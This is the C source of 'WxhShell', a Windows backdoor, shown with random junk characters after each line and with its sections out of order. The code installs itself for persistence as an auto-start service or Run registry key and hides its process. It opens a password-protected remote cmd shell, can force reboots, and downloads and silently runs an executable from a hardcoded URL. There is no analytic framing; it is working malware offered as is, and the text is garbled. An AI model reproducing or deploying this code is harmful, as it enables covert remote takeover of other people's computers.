    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7d*SZmD  
    if(Boot(SHUTDOWN)) Ml1yk)3G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ER~m &JI  
    else { Pou-AzEP$  
    closesocket(wsh); F2WUG  
    ExitThread(0); )T/"QF}<T  
    } {y0#(8-&  
    break; p:U9#(v)  
    } =PWh,lWS  
  // 获取shell Z;M]^?  
  case 's': { /.l8Jb4  
    CmdShell(wsh); O'{UAb+-  
    closesocket(wsh); R| [mp%Q  
    ExitThread(0); Y [k%<f  
    break; 4vq,W_n.hQ  
  } xwhH_[  
  // 退出 2qLRcA=R  
  case 'x': { SV}q8z\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p(in.Xz  
    CloseIt(wsh); >H?l[*9  
    break; 9 =7),`$  
    } j38>,9u,  
  // 离开 1A"h!;0  
  case 'q': { *xR;}%s\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4 :RL[;  
    closesocket(wsh); y Dg  
    WSACleanup(); Ymkk"y.w  
    exit(1); 5<\&7P3y  
    break; Y0fX\6=h  
        } xZZW*d_b  
  } Is&z~Xy/  
  } ]S4TX  
{Tb(4or?=b  
  // 提示信息 ,TPNsz|Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s1. YH?A;  
} `W,gYH7  
  } 6AV@O  
 KoVy,@  
  return; ]BGWJA5  
} 8mI eW  
NPc]/n?vDj  
// shell模块句柄 L)H' g  
int CmdShell(SOCKET sock) -L>xVF-|:1  
{ hn\<'|n  
STARTUPINFO si; pv*u[ffi  
ZeroMemory(&si,sizeof(si)); o?@,f/" 5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~?4'{Hc'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j_Pt8{[  
PROCESS_INFORMATION ProcessInfo; 5RCQ<1  
char cmdline[]="cmd"; ImO\X`{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3on]#/"1b  
  return 0; 58)`1p\c'  
} i lk\&J~I  
5m{!Rrb  
// 自身启动模式 ?JO x9;`  
int StartFromService(void) :%cL(',Q  
{ ~`)`Ip  
typedef struct ( P|Ph  
{ 9,wd,,ta  
  DWORD ExitStatus; n*~=O'  
  DWORD PebBaseAddress; W<C \g~\  
  DWORD AffinityMask; pi7Fd\A  
  DWORD BasePriority; o5?f]Uq5 ,  
  ULONG UniqueProcessId; b)RU+9x &  
  ULONG InheritedFromUniqueProcessId; ,{P*ZK3u  
}   PROCESS_BASIC_INFORMATION; #s'9Ydd  
Wh6jr=>G  
PROCNTQSIP NtQueryInformationProcess; d7s? c  
WtOpxAq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k4r;t: O^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mqc"  
-3`S;Dmn  
  HANDLE             hProcess; Q-o}Xnj*!L  
  PROCESS_BASIC_INFORMATION pbi; spter35b[  
QSPneYD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9[K".VeT]  
  if(NULL == hInst ) return 0;  C[MZ9 r  
OCmF/B_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6' }oo'#~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `(s&H8x#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P @N7g`u3}  
>MD['=J[d  
  if (!NtQueryInformationProcess) return 0; 7pH`"$  
;BzbWvBo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oe,I vnt  
  if(!hProcess) return 0; N"Y)  
=>nrU8x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ??eSGQ|  
"`]G>,r_  
  CloseHandle(hProcess); ) *Mr{`  
|hms'n0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;mH O#  
if(hProcess==NULL) return 0; <>JN&#3?  
NFq&a i  
HMODULE hMod; .y'iF>QQ\  
char procName[255]; 6\>S%S2:  
unsigned long cbNeeded; P__JN\{9  
8q9HQ4dsL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pf&\2_H3s9  
x_Zi^]  
  CloseHandle(hProcess); NH&/=  
-U/"eVM  
if(strstr(procName,"services")) return 1; // 以服务启动 IsjxD|u  
PqV9k,5f  
  return 0; // 注册表启动 V|GH4DT=  
} I^erMQn[ z  
_~V7m  
// 主模块 d 7vD  
int StartWxhshell(LPSTR lpCmdLine) 4FSA:]o-  
{ I\djZG$s;N  
  SOCKET wsl; 1OB,UU"S$  
BOOL val=TRUE; OUCL tn\  
  int port=0; / blVm1F  
  struct sockaddr_in door; 7PQ03dtfg  
9gP-//L@  
  if(wscfg.ws_autoins) Install(); +>3XJlZV  
|iN!V3#S  
port=atoi(lpCmdLine); hTgWqp  
PwP;+R};|  
if(port<=0) port=wscfg.ws_port; :pj 00  
I&JVY8'  
  WSADATA data; >iD&n4TK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; egQB!%D  
W4n;U-Hb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {A2EGUmF2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bk,:a,  
  door.sin_family = AF_INET; Co[fq3iX#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "f^s*I  
  door.sin_port = htons(port); -*xm<R],  
g}>Sc=e <  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f Z8%Z   
closesocket(wsl); ' >a(|  
return 1; { FVLH:{U^  
} }diB  
n0|oV(0FE  
  if(listen(wsl,2) == INVALID_SOCKET) { \Tf[% Kt x  
closesocket(wsl); ~)>O=nR  
return 1; #oBMA  
} DUBEh@  
  Wxhshell(wsl); ZH'- >/  
  WSACleanup(); ?,G CR1|4  
7&oT} Z  
return 0; 'Cw&9cL9w  
4n6EkTa  
} /ZC/yGdIS_  
-L%J,f[&,  
// 以NT服务方式启动 /.PjHTM<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gk~QgD/Pix  
{ kLc}a5;  
DWORD   status = 0; %eJolztKZ  
  DWORD   specificError = 0xfffffff; #4hxbRN  
W(jXOgs+_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +/!kL0[v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;. jnRPo";  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ns?qLSN  
  serviceStatus.dwWin32ExitCode     = 0; PL+r*M%ll  
  serviceStatus.dwServiceSpecificExitCode = 0; 9A|deETa-  
  serviceStatus.dwCheckPoint       = 0; vo48\w7[  
  serviceStatus.dwWaitHint       = 0; 5]C}044  
TNwBnMe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jUny&Alj  
  if (hServiceStatusHandle==0) return; &T7|f!y  
=Xwr*FTr  
status = GetLastError(); DH7B4P  
  if (status!=NO_ERROR) l#40VHa?S  
{ P-B3<~*i!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;F>$\"aG  
    serviceStatus.dwCheckPoint       = 0; %x$1g)  
    serviceStatus.dwWaitHint       = 0; "J51\8G@@  
    serviceStatus.dwWin32ExitCode     = status; ly,3,ok  
    serviceStatus.dwServiceSpecificExitCode = specificError; UO3QwZ4j;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Fn^@/?yC  
    return; luA k$Es  
  } [!^Q_O  
8sMDe'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +7yirp~`K  
  serviceStatus.dwCheckPoint       = 0; y2"PKBK\_  
  serviceStatus.dwWaitHint       = 0; Xx.4K>j+j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3O{*~D&n  
} ?&qa3y)wX:  
+rT%C&ze  
// 处理NT服务事件,比如:启动、停止 &yu3nA:7D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c eH8  
{ UNx|+  
switch(fdwControl) z^@.b  
{ IZr~h9  
case SERVICE_CONTROL_STOP: [VvTR#^  
  serviceStatus.dwWin32ExitCode = 0; 7d9kr?3(U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &G#LQl  
  serviceStatus.dwCheckPoint   = 0; cvoE4&m!  
  serviceStatus.dwWaitHint     = 0; T6T3:DG_B  
  { px|y_.DB2x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6??o(ziK$  
  } d4y?2p ?3  
  return; 5U%J,W  
case SERVICE_CONTROL_PAUSE: b=V"$(Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; , 7` /D  
  break; X5s.F%Np!  
case SERVICE_CONTROL_CONTINUE: &Z kY9XO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JCL+uEX4S  
  break; h6Femis  
case SERVICE_CONTROL_INTERROGATE: /(/Z~J[  
  break; d! BQ%a  
}; )Dg;W6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Vohd@s9l  
} "nkj_pC  
|I; tBqN{u  
// 标准应用程序主函数  z]/;?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j41)X'MgJ  
{ M4%u~Z:4h+  
uc0 1{t0,  
// 获取操作系统版本 bfjC:"!H  
OsIsNt=GetOsVer(); 0F"W~OQ6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~&zrDj~FI  
<>gX'te  
  // 从命令行安装 TH;kJ{[}  
  if(strpbrk(lpCmdLine,"iI")) Install(); ny(`An  
;$`5L"I5$  
  // 下载执行文件 ' 7lHWqN<  
if(wscfg.ws_downexe) { QNH-b9u>8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2 kP0//  
  WinExec(wscfg.ws_filenam,SW_HIDE); y. xt7 F1  
} R?%J   
h=:*cqp4  
if(!OsIsNt) { 4rcNBmA,  
// 如果时win9x,隐藏进程并且设置为注册表启动 bOEO2v'cQ  
HideProc(); JbV\eE#KrC  
StartWxhshell(lpCmdLine); 5=;LHS*   
} 3YKJN4  
else xj6@85^  
  if(StartFromService()) 7H$I9e  
  // 以服务方式启动 [uJfmrEH  
  StartServiceCtrlDispatcher(DispatchTable); 6MewQ{hi  
else fGeDygV^`  
  // 普通方式启动 y4@zi"G  
  StartWxhshell(lpCmdLine); E{LLxGAEZ  
oFO)28Btv  
return 0; r JvtE}x1  
} q <, b  
11'^JmKA  
J AQ y  
d8)ps,  
=========================================== a#huK~$~  
>yZe1CP  
aUy!(Y  
m;_gNh8Ee  
\ oY/hT_  
~wtK(U  
" cEdf&*_-'I  
uwL^Tq}Yh  
#include <stdio.h> cuw 7P  
#include <string.h> e9LP!"@EY  
#include <windows.h> S'%|40U  
#include <winsock2.h> -qbx:Kk (  
#include <winsvc.h> v>XAzA  
#include <urlmon.h> 4# L}&  
yt5 Sy  
#pragma comment (lib, "Ws2_32.lib") s6DmZ^Y%  
#pragma comment (lib, "urlmon.lib") Rudj"OGO  
xJ$/#UdP  
#define MAX_USER   100 // 最大客户端连接数 ; ,vGw <|o  
#define BUF_SOCK   200 // sock buffer ;u(#-C2^{l  
#define KEY_BUFF   255 // 输入 buffer *]7$/%.D  
Cr7T=&L  
#define REBOOT     0   // 重启 6YHQ/#'G~  
#define SHUTDOWN   1   // 关机 5 O't-'  
<UEta>jj  
#define DEF_PORT   5000 // 监听端口 '%H\ k5^  
zu,F 0;De  
#define REG_LEN     16   // 注册表键长度 <M y+!3\A  
#define SVC_LEN     80   // NT服务名长度 3)6TnY/u6{  
u~C,x3yr  
// 从dll定义API xg;o<y KF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D2y[?RG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #VvU8"u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); } SNZl`>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xg^Z. q)d  
O)aWTI  
// wxhshell配置信息 rA\6y6dFs  
struct WSCFG { zao=}j?  
  int ws_port;         // 监听端口 cIS?EW]S%X  
  char ws_passstr[REG_LEN]; // 口令 u_Wftb?9  
  int ws_autoins;       // 安装标记, 1=yes 0=no t=;P1d?E;  
  char ws_regname[REG_LEN]; // 注册表键名 anzt;V.;Y  
  char ws_svcname[REG_LEN]; // 服务名 #Q]^9/;|4n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NT0im%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nOCCOTf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XkEJ_;:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no joRrsxFU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NQmdEsK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sGp]jqX2,m  
^[6S]Ft(  
}; SWLt5dV  
iW9o-W a  
// default Wxhshell configuration +F4SU(T  
struct WSCFG wscfg={DEF_PORT, q`0wG3  
    "xuhuanlingzhe", -cONC9 =  
    1, BN~gk~t_  
    "Wxhshell", S8dX8,qg  
    "Wxhshell", d7]~t|  
            "WxhShell Service", }0oVIr  
    "Wrsky Windows CmdShell Service", tW -f_0a.  
    "Please Input Your Password: ", QFNw2:)  
  1, [["az'Lrk?  
  "http://www.wrsky.com/wxhshell.exe", ]zATdfa  
  "Wxhshell.exe" "g%=FH3e  
    }; ED;rp 9(  
YApm)O={  
// 消息定义模块 69? wZfj'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I^l\<1"]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9 S4bg7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $X_A 74 (  
char *msg_ws_ext="\n\rExit."; 1=Z, #r  
char *msg_ws_end="\n\rQuit."; t) l  
char *msg_ws_boot="\n\rReboot..."; BW x=Q  
char *msg_ws_poff="\n\rShutdown..."; 6%B)  
char *msg_ws_down="\n\rSave to "; ):-Ub4A\  
*A ([1l&]i  
char *msg_ws_err="\n\rErr!"; wj2z?0}o  
char *msg_ws_ok="\n\rOK!"; ;i,3KJ[L  
/Y`u4G()  
char ExeFile[MAX_PATH]; '/'dg5bfV  
int nUser = 0; m>9j dsqB  
HANDLE handles[MAX_USER]; 9SQc ChG~j  
int OsIsNt; 2r"J"C  
P^57a?[`  
SERVICE_STATUS       serviceStatus; ' 4.T1i,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f 0r?cZ  
?p'DgL{  
// 函数声明 w(oi6kg  
int Install(void); })y B2Q0  
int Uninstall(void); gLK_b;:  
int DownloadFile(char *sURL, SOCKET wsh); V0G"Z6  
int Boot(int flag); ( u^`3=%n  
void HideProc(void); +A-z>T(  
int GetOsVer(void); bV&"jjEx  
int Wxhshell(SOCKET wsl); 6qd?&.=r  
void TalkWithClient(void *cs); =mYwO=:D  
int CmdShell(SOCKET sock); Y=ksrs>w  
int StartFromService(void); 80%L!x|  
int StartWxhshell(LPSTR lpCmdLine); a797'{j#PI  
2_Gb K-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WNSY@q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); isU4D  
Q*ixg$>  
// 数据结构和表定义 *TgD{>s  
SERVICE_TABLE_ENTRY DispatchTable[] = jdX *  
{ )wNcz~ Y  
{wscfg.ws_svcname, NTServiceMain}, [?55vYt  
{NULL, NULL} )m$MC25  
}; ;-^8lWt  
dCA! R"HD  
// 自我安装 X#k:J  
int Install(void) g `(3r  
{ ~X<?&;6  
  char svExeFile[MAX_PATH]; FWW*f _L  
  HKEY key; d]K$0HY  
  strcpy(svExeFile,ExeFile); uH |:gF^  
P?hB`5X  
// 如果是win9x系统,修改注册表设为自启动 %W^Zob  
if(!OsIsNt) { ?k^~qlye  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b8LA|#]i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b ;>?m  
  RegCloseKey(key); Kz"&:&R"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r1BL?&X-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bJcO,M:2  
  RegCloseKey(key); "i,ZG$S#E  
  return 0; ZkryoIQ%=  
    } :[&QoEZW  
  } ]oLyvG  
}  a"D'QqtH  
else { 8osP$"/o  
)%09j0y>l"  
// 如果是NT以上系统,安装为系统服务 'Pe;Tp>`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #A&49a3^1  
if (schSCManager!=0) ldnKV&N  
{ :3[;9xCHj  
  SC_HANDLE schService = CreateService  }=d}q *  
  ( k\X yR4r  
  schSCManager, 8RT<?I^5  
  wscfg.ws_svcname, Gdz*   
  wscfg.ws_svcdisp, p$}/~5b}4  
  SERVICE_ALL_ACCESS, X<Ag['r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <+Gf!0i  
  SERVICE_AUTO_START, jJD*s/o  
  SERVICE_ERROR_NORMAL, 9t!Agxm  
  svExeFile, 7/K L<T9@  
  NULL, X0knM}5  
  NULL, LKBh{X0%(  
  NULL, mNOx e  
  NULL, k8b5~A,  
  NULL 0ev='v8?  
  ); av bup  
  if (schService!=0) j&[u$P*K  
  { TN/y4(j  
  CloseServiceHandle(schService); pM9M8d  
  CloseServiceHandle(schSCManager); ]app9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #nq_R  
  strcat(svExeFile,wscfg.ws_svcname); %-[*G;c'w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $Lz!04  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (9{qT>eJg=  
  RegCloseKey(key); +g;{c+Kw:  
  return 0; gs&F .n  
    } iB5q"hoZC  
  } KQ^|prN?y  
  CloseServiceHandle(schSCManager); .hJcK/m  
} *M.,Yoj  
} 49ehj1Se  
/VD[:sU7  
return 1; A b+qLh&?  
} ^VEaOKMr  
NA$%Up  
// 自我卸载 ipE|)Ns  
int Uninstall(void) [?bq4u`  
{ U6.hH%\}@  
  HKEY key; p6&<eMwFA  
@1D3E=  
if(!OsIsNt) { @Z5,j)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xXfv({  
  RegDeleteValue(key,wscfg.ws_regname); j`#H%2W\;  
  RegCloseKey(key); %Fx ^"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yqH9*&KH{  
  RegDeleteValue(key,wscfg.ws_regname); g_J QW(_  
  RegCloseKey(key); gvr&7=p  
  return 0; !>f:wk2  
  } ~14|y|\/  
} y&/bp<Z  
} MnlD87x@X  
else { b~2LD3"3  
6z]y =J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WD1>{TSn  
if (schSCManager!=0) 1'P4{T0 [  
{ bokr,I3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0oZZLi  
  if (schService!=0) z4(`>z2a  
  { 2O- 4x  
  if(DeleteService(schService)!=0) { 9I*2xy|I  
  CloseServiceHandle(schService); Ta$55K0  
  CloseServiceHandle(schSCManager); nzZs2  
  return 0; Sk-Q 4D^  
  } Ly z8DwZ  
  CloseServiceHandle(schService); B6@q`Bmw.  
  } VK!HuO9l  
  CloseServiceHandle(schSCManager); iRx`Nx<@  
} 0+&K;  
} hhz#I A6,  
{-Gh 62hDg  
return 1; &DjA?0`J  
} bk&kZI.D  
#=)!\   
// 从指定url下载文件 lI~8[[$xd  
int DownloadFile(char *sURL, SOCKET wsh) V5p^]To!  
{ K{,'%|  
  HRESULT hr; j3H_g ^  
char seps[]= "/"; z]KJ4  
char *token; X"9N<)C  
char *file; ~dzD7lG6  
char myURL[MAX_PATH]; #U4 f9.FY*  
char myFILE[MAX_PATH]; N3zZ>#{  
)!U@:x\K  
strcpy(myURL,sURL); =oM#]M'G+(  
  token=strtok(myURL,seps); =l:k($%%  
  while(token!=NULL) maa$kg8U*!  
  { KoA+Vv9  
    file=token; 7w]3D  
  token=strtok(NULL,seps); &8yGV i  
  } "G,,:H9v  
:iGK9I  
GetCurrentDirectory(MAX_PATH,myFILE); $j8CF3d.6  
strcat(myFILE, "\\"); fP6\Ur  
strcat(myFILE, file); =M}tet }  
  send(wsh,myFILE,strlen(myFILE),0); It<VjN9  
send(wsh,"...",3,0); bxzx@sF2l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e"*1l>g  
  if(hr==S_OK) $:# :"  
return 0; w~&#:F?  
else 6(x53 y__  
return 1; ;Qi!~VsP;  
vxug>2  
} =qbN?a/?2  
VFMn"bYOB  
// 系统电源模块 'p78^4'PL  
int Boot(int flag) )Gk?x$pY@  
{ PVIZ Y^64  
  HANDLE hToken; q[+ h ~)  
  TOKEN_PRIVILEGES tkp; G B,O  
 NEPK   
  if(OsIsNt) { ;nJ2i?"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NpCQ4 K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H:OpS-b  
    tkp.PrivilegeCount = 1; s5 {B1e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gK(G1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w^=(:`  
if(flag==REBOOT) { t: oQHhO?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6!?] (  
  return 0; }K`KoM  
} )_OGt[_H  
else { mIp> ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I3b*sx$  
  return 0; 23Dld+E&  
} ~kj96w4eAR  
  } cN FHbMd  
  else { Z {:;LC  
if(flag==REBOOT) { ~wF3$H.@;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (+0(A777M  
  return 0; /R?[/`)f&  
} GN Ewq$  
else { :475FPy]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KATf9-Sz  
  return 0; W}"tf L8  
} .C5<uW5-R  
} S8+l!$7   
Z!Z{Gm3  
return 1; 9;uH}j8sE  
} D!#B*[|  
zUDXkG*Lv  
// win9x进程隐藏模块 "EA =auN{  
void HideProc(void) vM]5IHqeE  
{ avM8-&h  
,3iD/8_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  LAM{ ,?~  
  if ( hKernel != NULL ) `B&=ya|bl  
  { :8`$BbV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B u%%O8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t#8QyN  
    FreeLibrary(hKernel); .Y^3G7On  
  } KaS*LDzw  
PC+Soh*  
return; ?Q+*[YEJ5  
} KKb7dZbt<  
zY@0R`{@p  
// 获取操作系统版本 nk_X_y  
int GetOsVer(void) GA` bWl  
{ r..f$FF)\  
  OSVERSIONINFO winfo; =qoOr~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zHg=K /  
  GetVersionEx(&winfo); 7HY8 F5Brx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w|6?A-  
  return 1; |'JN<?   
  else b/JjA  
  return 0; e6H}L:;  
} oR!h eCnu  
lq]8zm<\)]  
// 客户端句柄模块 rZ5xQ#IA  
int Wxhshell(SOCKET wsl) \,n X/f  
{ EE|c@M^  
  SOCKET wsh; ;$1x_ Cb  
  struct sockaddr_in client; N !ay#V  
  DWORD myID; TuPD5-wB&  
F|/6;&*?M  
  while(nUser<MAX_USER) ;@Z1y  
{ lj8ficANo  
  int nSize=sizeof(client); S!x;w7j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?azLaAG  
  if(wsh==INVALID_SOCKET) return 1; RJd*(!y  
5-k gGOt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _ W#Km  
if(handles[nUser]==0) &iq'V*+-\  
  closesocket(wsh); trjeGSt&  
else n[qnrk*3 %  
  nUser++; @jjxgd'%&  
  } ,3eN&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }.U(Gxu$  
OC-d5P  
  return 0; wu11)HFL|z  
} uOKD#   
;;rx)|\<R  
// 关闭 socket ^&y*=6C  
void CloseIt(SOCKET wsh) bivo7_  
{ GUM-|[~  
closesocket(wsh); &'i>d&  
nUser--; sa/9r9hc+  
ExitThread(0); 1M?x,N_W  
} PY4a3dp U  
]\>MDH  
// 客户端请求句柄 c&%3k+j  
void TalkWithClient(void *cs) xaB#GdD  
{ 7mv([}Va  
`s\[X-j]  
  SOCKET wsh=(SOCKET)cs; kB5y}v.3 S  
  char pwd[SVC_LEN]; 7h!nt=8Y  
  char cmd[KEY_BUFF]; EbVC4uY  
char chr[1]; /NR*<,c%  
int i,j; QhAYCw2  
oa5L5Zr,A  
  while (nUser < MAX_USER) { j jv'"K2  
+XX5;;IC  
if(wscfg.ws_passstr) { BILZ XMf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mh3L(z]/E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |HJ`uGN<b  
  //ZeroMemory(pwd,KEY_BUFF); ) k[XO  
      i=0; _Gb 7n5p  
  while(i<SVC_LEN) { ,1!Y!,xy  
WLh!L='{BK  
  // 设置超时 Z\QN n  
  fd_set FdRead; q3-cWfU  
  struct timeval TimeOut; }TuMMO4+  
  FD_ZERO(&FdRead); 1rue+GL  
  FD_SET(wsh,&FdRead); CN-4FI)1D9  
  TimeOut.tv_sec=8; ;Z;` BGZJ  
  TimeOut.tv_usec=0; CI \O)iB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +]yVSns 3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'Cz]p~oF  
eYjF"Aq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "]'W^Fg  
  pwd=chr[0]; dvY3=~'  
  if(chr[0]==0xd || chr[0]==0xa) { sT<h+[2d  
  pwd=0; |pU>^  
  break; p&`I#6{  
  } /J c^XWf  
  i++; B=X_c5  
    } V1G5Kph  
" ;8kKR  
  // 如果是非法用户,关闭 socket )liNjY@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9n\v{k=  
} Sn.I{~  
UN^M.lqZX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KM^}d$x}s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X.q#ZpK  
j *N^.2  
while(1) { ]^a{?2 ei  
KO}TCa  
  ZeroMemory(cmd,KEY_BUFF); *l0i}"T^_  
GIR12%-EO  
      // 自动支持客户端 telnet标准   1.~^QH\p?3  
  j=0; .>y3`,0h  
  while(j<KEY_BUFF) { +_f813$C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Bv%dy[I  
  cmd[j]=chr[0]; 5$$]ZMof  
  if(chr[0]==0xa || chr[0]==0xd) { A9[D.W9>  
  cmd[j]=0; w#bdb;  
  break; cyL|.2,  
  } )D]LPCd[  
  j++; T0\[": A  
    } #\z"k<{*  
[E}pU8.t6  
  // 下载文件 Nk F2'Z{$+  
  if(strstr(cmd,"http://")) { RcI0n"Gi_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !+Sd%2o  
  if(DownloadFile(cmd,wsh)) ry* 9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q'biTn]2  
  else 1gYvp9Ma  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :ZM=P3QZ  
  } n{c-3w.uD  
  else { gaL.5_1  
K5+ONA<c  
